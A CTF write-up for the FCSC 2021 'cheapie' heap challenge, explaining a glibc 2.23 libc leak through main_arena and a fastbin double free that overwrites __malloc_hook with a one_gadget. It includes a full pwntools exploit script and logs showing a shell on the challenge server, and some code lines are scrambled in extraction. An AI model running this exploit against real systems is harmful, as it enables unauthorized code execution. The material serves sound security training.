FCSC 2021 Qualification - cheapie (pwn)
FCSC 2021 Qualification - Cheapie
Cheapie was a training challenge about heap exploitation with a lot of vulnerabilities and no mitigation / error handling / verification. The associated libc was given and was pretty old. I used a double free and some heap mechanisms to leak the libc base address, retrieve malloc_hook and write a one_gadget into it.
Preliminary analysis
As usual, verifying the mitigations is quite important. It shows that all userland mitigations are enabled.
$ checksec cheapie
[*] '/home/vagrant/cheapie'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Trying to identify the libc result by finding the following version 2.23
, this way I used a Vagrant file to drop an ubuntu machine which uses this version of libc.
Vagrant.configure("2") do |config|
config.vm.box = "ubuntu/xenial64"
config.vm.provider :virtualbox do |vb|
vb.name = "ubuntu"
end
end
Once executed the program shown us these actions :
vagrant@ubuntu-xenial:~$ ./cheapie
Malloc exploitation playground!
[1] - malloc()
[2] - free()
[3] - debug()
[4] - exit()
>>> 1
Amount in bytes [16-1024]: 16
malloc(16) = 0x564b1832d010
Data to write (up to 16 bytes):
aaaaaa
[1] - malloc()
[2] - free()
[3] - debug()
[4] - exit()
>>> 2
Address to free: 0
free((nil))
[1] - malloc()
[2] - free()
[3] - debug()
[4] - exit()
>>> 3
Address to show (16-byte sneak peak): 0x564b1832d010
61 61 61 61 61 61 0a 00 00 00 00 00 00 00 00 00
[1] - malloc()
[2] - free()
[3] - debug()
[4] - exit()
Well tons of possibilities here. Malloc displays the address of the allocation, free accepts whatever address without verification and so is vulnerable to double free. The leak feature can leak the whole process memory so we can read whater addresses we want.
However there is no buffer overflow and GOT was RO so we couldn’t easily control RIP. The only way to achieve this is to use the __malloc_hook
.
This hook, availables in the libc memory space, when holding a function pointer will execute this last one during the malloc function execution. It’s a easy way to have arbitrary code execution but we need to leak the libc base for this.
As we can’t rop and can only provide the address of one function / gadget I decided to use a one_gadget
.
A one_gadget
is a gadget
which when executed will directy call execve('/bin/sh', NULL, NULL)
without other gadget execution. More about here : https://github.com/david942j/one_gadget.
Leaking the libc base
My initial tought was to use the GOT
entries to leak some libc pointers but I didn’t have the address of GOT because of the pie. However I could have easily leaked it with the associated feature. But it was a heap challenge and I wanted to try the trick to leak a libc address on the heap.
I’m not really into the mechanism of this technics but about what I know when a small or large chunks is freed (in our case a 512 bytes large chunks) and another small / large chunk is allocated and is placed into the unsorted
bins and a libc address if placed to its backward and forward pointer.
Let’s try :
Malloc exploitation playground!
[1] - malloc()
[2] - free()
[3] - debug()
[4] - exit()
>>> 1
Amount in bytes [16-1024]: 512
malloc(512) = 0x555555758010
Data to write (up to 512 bytes):
aa
[1] - malloc()
[2] - free()
[3] - debug()
[4] - exit()
>>> 1
Amount in bytes [16-1024]: 512
malloc(512) = 0x555555758220
Data to write (up to 512 bytes):
bbb
[1] - malloc()
[2] - free()
[3] - debug()
[4] - exit()
>>> 2
Address to free: 0x555555758010
free(0x555555758010)
[1] - malloc()
[2] - free()
[3] - debug()
[4] - exit()
>>>
We now can find the libc address in the data of our freed chunk and the value belong to main_arena
symbol at offset 0x88
gef> x/8xg 0x555555758010-16
0x555555758000: 0x0000000000000000 0x0000000000000211
0x555555758010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555758020: 0x0000000000000000 0x0000000000000000
0x555555758030: 0x0000000000000000 0x0000000000000000
gef> xinfo 0x00007ffff7dd1b78
Page: 0x00007ffff7dd1000 → 0x00007ffff7dd3000 (size=0x2000)
Permissions: rw-
Pathname: /lib/x86_64-linux-gnu/libc-2.23.so
Offset (from page): 0xb78
Inode: 2098
Segment: .data (0x00007ffff7dd1080-0x00007ffff7dd2720)
Offset (from segment): 0xaf8
Symbol: main_arena+88
Fine, we do have our libc base to compute the libc base address with the offset of main_arena
for this version.
libc-databse doesn’t provide this symbol but the tool https://github.com/bash-c/main_arena_offset.git does
$ ~/tools/pwn/main_arena_offset/main_arena ./libc-2.23.so
[+]libc version : glibc 2.23
[+]build ID : BuildID[sha1]=c4fd86ec1eed57a09c79ce601f6c6e3796f574df
[+]main_arena_offset : 0x3c4b20
= ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
libc
= leak(p, buff0)
libc_base, _ -= 0x3c4b20 + 88
libc_base
= libc_base + libc.symbols["__malloc_hook"] malloc_hook
Double free arbitrary write
As stated before we are going to use the double free to make malloc
return the address of __malloc_hook
in order to overwrite it with the one gadget.
About double free
This version of the libc doesn’t have the tcache
functionality implemented, this way, when freed, chunks ends in bins depending on their size. Factually bins are only single or doubly linked lists, each chunk pointing on the chunk before or after. More information here https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/bins_chunks.
For example if I free a bins of size 100 (0x555555758010
) called A
:
gef> heap bins
[+] No Tcache in this version of libc
──────────────────────────────────────────────────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] ← Chunk(addr=0x555555758010, size=0x70, flags=PREV_INUSE)
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────────── Small Bins for arena 'main_arena' ────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────────────────────────────────── Large Bins for arena 'main_arena' ────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins
The chunk A
ends in a fastbin, which is a single linked bin. Freeing another of equivalent size B
would put it in first place in this list (LIFO) and would have a pointer to the next chunk 0x555555758010
A
.
When malloc want to alloc an area of a given size it first looks in the associated bin before requesting more space. If a chunk B
is available it will use it and check it there is a pointer to another chunk A
.
When a next call to malloc for this same size will occurs the libc allocator will know there is a available chunk and so will return its address A
.
Double free abuse of this optimisation to make malloc return an address the attacker controls. Taking again our example, we end with this schema.
(B) -> (A)
If there is no verification an we are able to free A again we will end with a fastbin looking like this.
(A) -> (B) -> (A)
Now malloc returns A
and we can write in its data area (which is also the area of next pointer when the chunk is free)
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |A|0|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <---- HERE (not allocated chunk data)
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|0|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
At this moment we can set the pointer to whatever we want and it’s a totally normal phenomenon as the chunk is allocated.
Then B
is allocated but it doesn’t matter, we just need to remove B
from the linked list. At the moment of the next malloc the libc allocator will return A
again (because of double free) and will check if there is a pointer to another chunk.
I remind you that the pointer to an available chunk is where we wrote the arbitrary data after the first malloc call. So if we write 0x4142434445464748
the libc allocator will take this for a pointer to another chunk and will return it the next time malloc will be called.
This way we can write to 0x4142434445464748 + 16
(16 is for chunk metadata).
However the address must point to a valid chunk structure. When I said valid, it only must have a size attribute equal to the size of the bin used.
So we can’t write to an area full of zeros as 0 isn’t a valid bin size.
Exploitation
I want to overwrite __malloc_hook
here, however the value just before, which will be the chunk size, is set to an address very high which is not a valid bin size.
Trying to make malloc return 0x7ffff7dd1b00
(to write at 0x7ffff7dd1b1
) will end like this :
Avoiding this is compulsory and force us to find an address before the __malloc_hook
where the address + 8
is a valid bin size. In a screenshot of the are above, we saw that there is only invalid size however the address doesn’t have to be aligned in memory.
gef➤ x/10xg &__malloc_hook - 0x23
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92ea0000000 0xfff7a92a7000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 <--- __malloc_hook
0x7ffff7dd1b1d: 0x0400000001000000 0x0000000000000000
0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
Taking the address 0x7ffff7dd1aed
we see that the size is valid 0x7f
and the data will be located at 0x7ffff7dd1afd
few bytes before the malloc hook ! We will make malloc return this address in order to overwrite malloc_hook with the one_gadget
.
buff1 = malloc(p, 100, "A" * 20)
buff2 = malloc(p, 100, "B" * 20)
free(p, buff1)
free(p, buff2)
free(p, buff1) # double free
buff3 = malloc(p, 100, p64(malloc_hook - 0x23)) # we set the address we want to write to
malloc(p, 100, "A" * 8)
malloc(p, 100, "A" * 8)
At this point the next malloc will return the pointer to __malloc_hook
. Time to find our one gadget.
One gadget fright
The tool displayed 4 gadgets with their constraints.
one_gadget ./libc-2.23.so
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
After few checks I realized that none of the constraint where filled, rax
isn’t null and [rsp + 0x30 | 0x50 | 0x70]
isn’t null too.
sending the last gadget worked on the remote target, what a luck to finally have tested it in an ultimate last stand.
The last step is to call malloc one last time in order to trigger the hook.
@ubuntu-xenial:~$ python3 xploit.py 0xf1207
vagrant*] '/lib/x86_64-linux-gnu/libc-2.23.so'
[-64-little
Arch: amd64
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled+] Opening connection to challenges2.france-cybersecurity-challenge.fr on port 4006: Done
[' Address to free: free(0x55e59f22f010)\n'
b0x7fe5baabc000
' Address to free: free(0x55e59f22f010)\n'
b' Address to free: free(0x55e59f22f080)\n'
b' Address to free: free(0x55e59f22f010)\n'
b0x7fe5bae80b10
*] Switching to interactive mode
[1
$ in bytes [16-1024]: $ 16
Amount id
$ =1000(ctf) gid=1000(ctf) groups=1000(ctf) uid
Full exploit
from pwn import *
from re import findall
from struct import unpack
from sys import argv
= ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
libc
def malloc(p, size, data):
"1")
p.sendline(str(size))
p.sendline(= findall(b" = (\w+)", p.readline())[0]
addr
p.readline()
p.sendline(data)">>>")
p.readuntil(return int(addr[2:], 16)
def free(p, addr):
"2")
p.sendline(hex(addr))
p.sendline(
p.readline()">>>")
p.readuntil(
def leak(p, addr):
"3")
p.sendline(hex(addr))
p.sendline(= p.readline().split(b": ")[1][:-1].replace(b" ", b"").decode("utf-8")
data = unpack("<Q",bytes.fromhex(data[:16]))[0]
A = unpack("<Q", bytes.fromhex(data[:16]))[0]
B ">>>")
p.readuntil(return (A, B)
= remote("challenges2.france-cybersecurity-challenge.fr", 4006)
p # p = process("./cheapie")
">>>")
p.readuntil(
= malloc(p, 512, "A")
buff0 = malloc(p, 512, "A")
buff00
free(p, buff0)= leak(p, buff0)
libc_base, _ -= 0x3c4b20 + 88
libc_base
print(hex(libc_base))
= malloc(p, 100, "A" * 20)
buff1 = malloc(p, 100, "B" * 20)
buff2
free(p, buff1)
free(p, buff2)
free(p, buff1)
= libc_base + libc.symbols["__malloc_hook"]
malloc_hook print(hex(malloc_hook))
= malloc(p, 100, p64(malloc_hook - 0x23))
buff3 100, "A" * 8)
malloc(p, 100, "A" * 8)
malloc(p,
= malloc(p, 100, b"0" * 0x13 + p64(libc_base + int(argv[1][2:], 16)))
addr
100, "last malloc")
malloc(p, "id")
p.sendline(
p.interactive()
ressources
https://ctftime.org/writeup/14625
https://heap-exploitation.dhavalkapil.com/attacks/double_free
https://ir0nstone.gitbook.io/notes/types/heap/double-free
https://github.com/shellphish/how2heap/blob/master/glibc_2.31/fastbin_dup.c
https://github.com/Naetw/CTF-pwn-tips#hijack-hook-function
https://github.com/andigena/glibc-2.23-0ubuntu3/blob/master/malloc/malloc.c
https://ctftime.org/writeup/14625
https://ray-cp.github.io/archivers/0CTF_2019_PWN_WRITEUP
https://secgroup.github.io/2017/06/22/googlectf2017quals-writeup-inst-prof/